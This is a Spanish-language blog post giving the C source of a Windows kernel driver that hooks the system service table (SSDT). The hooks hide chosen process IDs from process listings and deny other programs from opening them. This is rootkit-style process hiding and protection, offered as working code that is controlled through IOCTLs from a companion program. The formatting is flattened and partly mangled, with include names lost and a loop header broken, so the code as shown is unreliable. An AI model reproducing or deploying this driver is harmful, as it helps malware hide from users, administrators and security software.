El EXE es igual al post pasado.
Codigo de Hook.h
#include#ifndef _HOOK_H_ #define _HOOK_H_ #endif typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; typedef struct _SYSTEM_THREAD { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitchCount; ULONG State; KWAIT_REASON WaitReason; } SYSTEM_THREAD, *PSYSTEM_THREAD; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER Reserved[3]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE ProcessId; HANDLE InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; ULONG PrivatePageCount; VM_COUNTERS VirtualMemoryCounters; IO_COUNTERS IoCounters; SYSTEM_THREAD Threads[0]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] #define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) #define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) typedef DWORD (ULONG); PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
Código de main.c
#include#include "hook.h" //Declaramos la API para poder trabajar con ella. NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); TypZwQuerySysInfo ZwQuerySysInfoIni; typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); TypZwOpenProc ZwOpenProcessIni; const WCHAR Device[]=L"\\device\\driverpid"; const WCHAR sLink[]=L"\\??\\driverpid"; USHORT ListPID[3]; UNICODE_STRING Dev, lnk; //int ListPID; int SearchPID(HANDLE PID){ int i; for (i = 0; i < 3; i++){ if ((HANDLE)ListPID[i] == PID) return i; } return -1; } int FreeIndex(){ int i; for (i = 0; i < 3; i++){ if (ListPID[i] == 0) return i; } return -1; } /* Función que es llamada para cualquier interacción con el driver Pero, solo maneja los I/O por medio de IRPs */ NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){ PIO_STACK_LOCATION Stack; int *oBuffer; int *iBuffer; int i; NTSTATUS Status = STATUS_SUCCESS; Stack = IoGetCurrentIrpStackLocation(Irp); iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer; if (oBuffer && iBuffer){ DbgPrint("Accesando a bloqueo de PID"); DbgPrint("Asociando buffers..."); if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){ DbgPrint("Peticion recibida a PID: %d", *iBuffer); if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){ DbgPrint("Revisando estado de lista."); Irp->IoStatus.Information = sizeof(int); switch(Stack->Parameters.DeviceIoControl.IoControlCode){ case Block: { //if (ListPID == 0){ i = FreeIndex(); if (i >= 0){ DbgPrint("Protegiendo PID %d.", *iBuffer); ListPID[i] = (USHORT)*iBuffer; *oBuffer = 1; } else { *oBuffer = 0; DbgPrint("No hay espacio para proteger."); } break; } case Unblock: { DbgPrint("Eliminando proteccion"); i = SearchPID((HANDLE)*iBuffer); if (i >= 0){ //if (ListPID != 0){ DbgPrint("Liberando PID %d.", *iBuffer); ListPID[i] = 0; *oBuffer = 1; } else { *oBuffer = 0; DbgPrint("No hay procesos protegidos."); } } } //Switch } else { Status = STATUS_BUFFER_TOO_SMALL; Irp->IoStatus.Information = 0; } //Buffer Small } //In buffer } //Asociar buffer Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); return Status; } NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS Status; PSYSTEM_PROCESS_INFORMATION Actual, Next; int i; Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //DbgPrint("Llamada a la API original"); if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa return Status; //DbgPrint("Han pedido informacion de procesos"); if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo return Status; //Cargamos el primer proceso que es 0 (?) Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; //Si es el ultimo proceso esta entrada esta seteada en 0 //Por tanto si es el ultimo no se ejecuta el bloque while while (Actual->NextEntryOffset){ //Cargamos el siguiente proceso Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset); //Si el PID del proceso es igual al que estamos protegiendo //Y el PID a proteger no es 0 (ningún PID a proteger) i = SearchPID(Next->ProcessId); if (Next->ProcessId != 0){ while (i >= 0){ DbgPrint("Ocultando Proceso: %d", ListPID[i]); //En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo if (Next->NextEntryOffset == 0) //Así que hacemos que el proceso actual sea el ultimo Actual->NextEntryOffset = 0; else Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset; Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset); i = SearchPID(Next->ProcessId); } //Si no es el ultimo sumamos las entradas del actual y del siguiente //Para saltar la entrada de nuestro proceso //Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset; //No salimos del break porque puede haber mas procesos a ocultar } //Cargamos el siguiente bloque de proceso Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset); } return Status; } NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL) { HANDLE PID; __try //Utilizamos el bloque try para evitar BSOD { PID = ClientId->UniqueProcess; } __except(EXCEPTION_EXECUTE_HANDLER) { return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe } //Verificamos el pid if ((SearchPID(PID) >= 0) && (PID != 0)){ //if (PID == (HANDLE)ListPID){ DbgPrint("PID: %d", PID); return STATUS_ACCESS_DENIED; //Retornamos acceso denegado } else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("Descargando driver..."); //Unhookeamos UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess ); UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo); DbgPrint("Eliminando Hooks"); //Eliminamos la MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } DbgPrint("Proteccion a SSDT restaurada"); } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath) { int i; NTSTATUS Status; DriverObject->DriverUnload = OnUnload; for(i=0; i MajorFunction[i] = IOControl; RtlInitUnicodeString(&Dev,Device); RtlInitUnicodeString(&lnk,sLink); //Creamos la MDL para deshabilitar la protección de memoria //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject); if (NT_SUCCESS(Status)){ Status =IoCreateSymbolicLink(&lnk,&Dev); DbgPrint("Creando device..."); if(!NT_SUCCESS(Status)){ IoDeleteDevice(DriverObject->DeviceObject); DbgPrint("Error creando link simbolico"); }else DbgPrint("SymbolicLink creado y cargado."); }else DbgPrint("Error creando el device."); DbgPrint("Driver cargado."); /* Hooking de las APIs Obtenemos la direccion de OpenProcess */ ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess)); DbgPrint("Hookeando OpenProcess..."); /* Cambiamos la dirección de la SSDT por la nuestra */ HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni ); ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation)); DbgPrint("Hookeando QuerySysInfo..."); HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni); return Status; }
Saludos!
No hay comentarios:
Publicar un comentario